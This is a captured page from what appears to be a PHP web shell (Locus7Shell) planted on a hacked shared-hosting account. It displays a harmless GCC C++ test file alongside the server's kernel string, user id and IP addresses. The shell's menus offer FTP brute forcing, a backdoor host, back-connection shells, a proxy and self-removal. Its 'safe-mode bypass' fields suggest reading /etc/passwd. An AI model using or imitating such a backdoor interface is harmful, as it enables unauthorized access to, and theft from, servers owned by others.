Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/g++.dg/cpp1y/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     pr69066.C (1.48 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
// PR c++/69066
// { dg-do compile { target c++14 } }

template <typename T> T&& declval();

template<typename T, T v>
struct integral_constant
{
  static constexpr T                value = v;
  typedef T                         value_type;
  typedef integral_constant<T, v>   type;
  constexpr operator value_type() const { return value; }
};

typedef integral_constant<bool, true>     true_type;
typedef integral_constant<bool, false>    false_type;

template <typename...>
using void_t = void;

template <typename, typename = void>
class is_zero_callable : public false_type
{
};

template <typename T>
class is_zero_callable<T, void_t<decltype(declval<T>()())>>
    : public true_type
{
};

template <typename TF, bool TLastStep>
struct curry_impl
{
    static auto exec(TF f)
    {
        // Bind `x` to subsequent calls.
        return [=](auto x)
        {
            auto bound_f = [=](auto... xs) -> decltype(f(x, xs...))
            {
                return f(x, xs...);
            };

            // Recursive step.
            return curry_impl<decltype(bound_f),
                is_zero_callable<decltype(bound_f)>{}>::exec(bound_f);
        };
    }
};

template <typename TF>
struct curry_impl<TF, true>
{
    static auto exec(TF f)
    {
        return f();
    }
};

template <typename TF>
auto curry(TF f)
{
    return curry_impl<TF, is_zero_callable<decltype(f)>{}>::exec(f);
}

int main()
{
    auto sum = [](int x, int y)
    {
        return x + y;
    };

    (void)curry(sum)(1)(1);
}

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0061 ]--